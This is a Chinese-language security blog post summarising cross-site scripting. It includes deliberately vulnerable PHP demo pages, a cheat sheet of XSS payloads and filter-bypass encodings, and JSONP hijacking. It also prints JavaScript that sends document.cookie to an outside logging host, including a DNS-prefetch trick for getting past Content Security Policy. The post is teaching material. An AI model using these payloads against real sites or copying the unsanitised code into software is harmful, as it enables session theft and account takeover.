XSS总结
John_Frod Lv4

XSS总结

简介

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。

跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

危害

XSS漏洞可能会给网站带来以下的一些危害:

  1. 网络钓鱼,盗取用户的账号
  2. 获取用户的cookie信息,其中可能存在 Session ID 等信息,攻击者可以利用这些信息冒充用户登陆服务器。
  3. 劫持用户浏览器,强制弹窗,转跳刷流量。
  4. 攻击者能够在一定限度内记录用户的键盘输入。
  5. 攻击者通过CSRF等方式以用户身份执行危险操作。
  6. 获取客户端隐私信息。
  7. XSS蠕虫。
  8. 利用XSS漏洞扫描用户内网。

原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号 < 被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

example:(反射型)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['xss_input'];
echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>

这里我们通过GET方法把xss_input参数到后端,后端没有对该参数做任何检查就把该参数显示出来。

当我们提交这样一段数据:

1
<script>alert('XSS')</script>

浏览器就会把这一段内容当成HTML标签解析,导致里面的 JS 语句被执行,而不是当作文本输出。

image-20210308102212318

反射型XSS

反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

简介中的 example 就是一个简单的反射型XSS漏洞模板

我们查看页面元素可以看到我们输入的内容被当作了HTML标签执行。

image-20210308102914047

由于反射型XSS需要用户访问该连接才能实现,因此容易被有安全意识的用户发现,因此攻击者可以利用短网址或者二维码这样的方式来进行障眼法,避免含有攻击代码的URL直接暴露在用户的面前。

存储型XSS

存储型跨站脚本(Stored Cross-site Scripting)也叫持久型XSS,意思是用户提交的数据会被存储在后端(不管是数据库、内存还是文件系统等),当攻击者提交的包含有XSS攻击的代码被存储在后端中,其他用户访问该页面的时候,后端会将数据取出来显示在页面上,这时候用户就会受到XSS攻击,最典型的应用是留言板。

example:

  • 首先我们本地新建一个名字叫做xss的数据库,里面新建一个message表,用来存放用户的留言信息,字段名分别是idusernamemessage
1
2
3
4
5
6
7
8
9
10
11
12
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0

DROP TABLE IF EXISTS `message`;
CREATE TABLE `message` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
`message` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 17 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

SET FOREIGN_KEY_CHECKS = 1;
  • 然后是后端页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<meta charset="utf-8">
<?php
$db_host = "localhost";
$db_user = "root";
$db_passwd = "";
$db_dbname = "xss";
$conn = new mysqli($db_host, $db_user, $db_passwd, $db_dbname);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO xss.message (`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}

/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM xss.message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>

image-20210308114155994

当我们构造<script>alert(11)<\script>输入,然后查看数据库

image-20210308114329338

发现我们的JS攻击语句已经被存储到数据库中。

当用户访问该页面的时候就会执行该JS语句,再察看页面元素,发现HTML标签被解析出来。

image-20210308115104242

DOM型XSS

通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

功能很简单,用户输入框插入图片地址后,页面会将图片插入在 id=”output” 的 div 标签中,从而显示在网页上。

当攻击者输入:

1
x' onerror='javascript:alert(/xss/)

会直接在 img 标签中加入 onerror 事件,该事件是当图片加载出错时执行的语句,当我们输入无效的 src 地址导致图片加载出错时就会触发事件,从而实现弹窗效果。

XSS常用标签

script

1
<scirpt>alert("xss");</script>

img

1
<img src=1 onerror=alert("xss");>

input

1
<input onfocus="alert('xss');" autofocus>

details

1
<details open ontoggle="alert('xss');">

svg

1
<svg onload=alert("xss");>

select

1
<select onfocus=alert(1) autofocus>

iframe

1
2
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>

video/audio

1
<video src=x onerror="alert('xss');">

a

1
<a href="javascript:alert('xss')">aa</a>

form

1
<form action=javascript:alert('xss') method="get">

XSS常见注入方式

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

HTML无法执行脚本的标签

在某些标签的内部,通过内嵌引入的脚本是不会执行的,需要通过闭合原有的标签才能执行。

1
2
3
4
5
6
7
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript> (noscript 元素用来定义在脚本未被执行时的替代内容(文本))
<noframes></noframes> (noframes 元素可为那些不支持框架的浏览器显示文本。noframes 元素位于 frameset 元素内部)
<plaintext></plaintext>

还有一些标签,直接无法嵌套其他标签,系统会提示报错:

1
2
<script></script>
<style></style>

XSS常见绕过方式

关键字被过滤

  • 使用上述的其他标签代替

  • 大小写绕过

1
<ScRipt>aLErt('xss')</ScRipt>
  • 双写绕过
1
<scrscriptipt>alert('xss')</scrscriptipt>
  • 字符拼接
1
2
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
  • 编码绕过

    • Unicode编码
    1
    2
    3
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

    <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
    • url编码
    1
    2
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
    • Ascii码
    1
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
    • hex
    1
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
    • 八进制
    1
    <img src=x onerror=alert('\170\163\163')>
    • base64
    1
    2
    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • 内嵌编码后TAB

1
<img src="jav&#x09;ascript:alert('XSS');">
  • 多重尖括号
1
<<script>alert("XSS");//<</script>
  • 使用一些字符绕过”.js”过滤

将JS文件重命名为图像

1
<script src="http://xss.rooks/xss.jpg"><script>

过滤空格/引号

  • 使用/代替
1
2
<img/src="x"/onerror=alert("xss");>
<img src="x" onerror=alert(/xss/);>

过滤单/双引号

  • 使用反引号代替
1
<img src=x onerror=alert(`xss`);>
  • 编码绕过
1
<img src=x onerror=alert(&#x27;xss&#x27;);>

过滤括号

  • 使用 throw 绕过
1
<script>onerror=alert;throw 1337</script>

onerror在每次javascript执行异常时都会被激活,调用指定的处理程序,并且throw语句可创建一个发送到onerror处的包含表达式的自定义异常。因为throw是一个语句,在和onerror配合使用时需要用分号隔离,避免被包含。

  • 使用``` `代替
1
<script>alert`1`</script>
  • HTML编码绕过
1
<script>alert&#x28;1&#x29;</script>

过滤URL地址

  • 使用URL编码
1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
  • 使用IP

使用进制转换

1
2
3
<img src="x" onerror=document.location=`http://2130706433/`>
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  • html标签中用//可以代替http://
1
<img src="x" onerror=document.location=`//www.baidu.com`>
  • 使用\\

但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议

1
<img src="x" onerror=document.location=`\\www.baidu.com`>
  • 使用中文句号代替英文点号
1
<img src="x" onerror="document.location=`http://www。baidu。com`">
  • 利用data类型的url代替http://
1
data:text,alert()

XSS高级利用方式

JSONP劫持

script标签是可以加载异域的JavaScript并执行的,通过预先设定好的callback函数来实现和非同源页面的交互。它有一个大名,叫做JSONP跨域,JSONP是JSON with Padding的略称。它是一个非官方的协议,明明是加载script,为啥和JSON扯上关系呢?原来就是这个callback函数,对它的使用有一个典型的方式,就是通过JSON来传参,即将JSON数据填充进回调函数,这就是JSONP的JSON+Padding的含义。JSONP只支持GET请求。

a网站的前端代码:

1
2
3
4
5
6
<script type="text/javascript">
function dosomething(jsondata){
//处理获得的json数据
}
</script>
<script src="http://haorooms.com/data.php?callback=dosomething"></script>

b网站的后台代码:

1
2
3
4
5
<?php
$callback = $_GET['callback'];//得到回调函数名
$data = array('a','b','c');//要返回的数据
echo $callback.'('.json_encode($data).')';//输出
?>

典型的JSON劫持就是通过定义一个跟JSON接口中callback参数值相同的函数来接收JSON接口的数据,它其实就是JSON接口数据加载成功后的callback函数。JSON劫持的产生原因,重点还是在于对调用方没有做判断,或者说他的这种接口地址是固定的或者可猜测的。

example:

b网站的JSONP接口为:

1
http://haorooms.com/data.php?callback=dosomething

在上面的JSONP接口中,dosomething是可以修改的,我们改为<img src=0 onerror=alert(0)>,b网站后端没有对传入的参数进行检查过滤,那么会返回:

1
<img src=0 onerror=alert(0)>//["a","b","c"]

一旦如果开发不严谨,没有对Content-Type进行设置或者为text/html或者application/json,可以将内容解析为html的就可能导致XSS的产生。

DNSLog

对于没有回显的XSS,我们要想知道是否成功也可以利用src属性填入得到的域名。

example:

payload:

1
http://127.0.0.1:81/sql.php?input=><img src=http://xss.t6n089.ceye.io/aaa>

image-20210317151942334

绕过CSP

CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式,禁止跨域加载脚本,恶意代码便会因此被阻挡在门外,导致此XSS无法利用。对此,我们可以使用DNS预解析突破CSP的阻拦。

DNS预解析(DNS Prefetching)是一种能够加快网页加载速度的技术,对于跨站的链接,由于每次都要进行一次DNS解析,会消耗掉很多时间。DNS预解析在浏览器空闲时,将跨站资源的域名转化为IP 地址并缓存,真正请求资源时就避免了解析的时间。有趣的是,DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。
由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。

example:

网站的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
setcookie("test","test",time()+3600);
?>
<html>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
<head>
<title>DNSLog_XSS原理重现</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<hr>
<?php
$xss = $_GET['input'];
echo '你输入的字符为<br>'.$xss;
$myfile = fopen("./set_cookie.js", "w") or die("Unable to open file!");
fwrite($myfile, $xss);
fclose($myfile);
?>
<script src="set_cookie.js"></script>
</body>
</html>

这里网站通过<meta>标签设置了CSP为只能加载当前域名的脚本,也就是说无法使用内联的脚本,攻击者需要找到能够注入XSS的JavaScript脚本的外联文件,这里我们可以看到后端把我们输入的值写入了set_cookie.js文件中,然后又通过外联脚本引入了这个文件,这样我们就可以通过这里来进行XSS攻击。

在没有CSP情况下,我们通常是通过<img>等有src属性的标签带上cookie作为参数去访问我们的服务器:

1
2
3
var img = document.createElement("img");
img.src = "http://t6n089.ceye.io/log?"+escape(document.cookie);
document.body.appendChild(img);

由于这里有CSP限制了不能读取外部的资源,因此这里会报错。

image-20210318163246373

这里我们就可以使用DNS预解析去进行绕过:

payload:

1
?input=document.querySelector('body').innerHTML="<link rel='dns-prefetch' href='http://"+document.cookie.split(/;|=/)[0].trim()+".t6n089.ceye.io'>";

URL编码后:

1
?input=document.querySelector('body').innerHTML%3D%22%3Clink%20rel%3D'dns-prefetch'%20href%3D'http%3A%2F%2F%22%2Bdocument.cookie.split(%2F%3B%7C%3D%2F)%5B0%5D.trim()%2B%22.t6n089.ceye.io'%3E%22%3B

image-20210318163559401

这种利用方法十分苛刻,因为不仅要找到能够修改后台的外联JavaScript文件的方法,而且作为XSS攻击,此payload过长,容易被怀疑,而使用短链接加载外部脚本有会被CSP禁止,再加上根据DNS的规定,域名的长度是有限制的,有时可能不发将长cookie完全带出。

参考资料

跨站的艺术-XSS入门与介绍

XSS从零开始

Web安全学习笔记

XSS(跨站脚本攻击)相关内容总结整理

XSS总结

  • Post title:XSS总结
  • Post author:John_Frod
  • Create time:2021-03-24 16:35:47
  • Post link:https://keep.xpoet.cn/2021/03/24/XSS总结/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.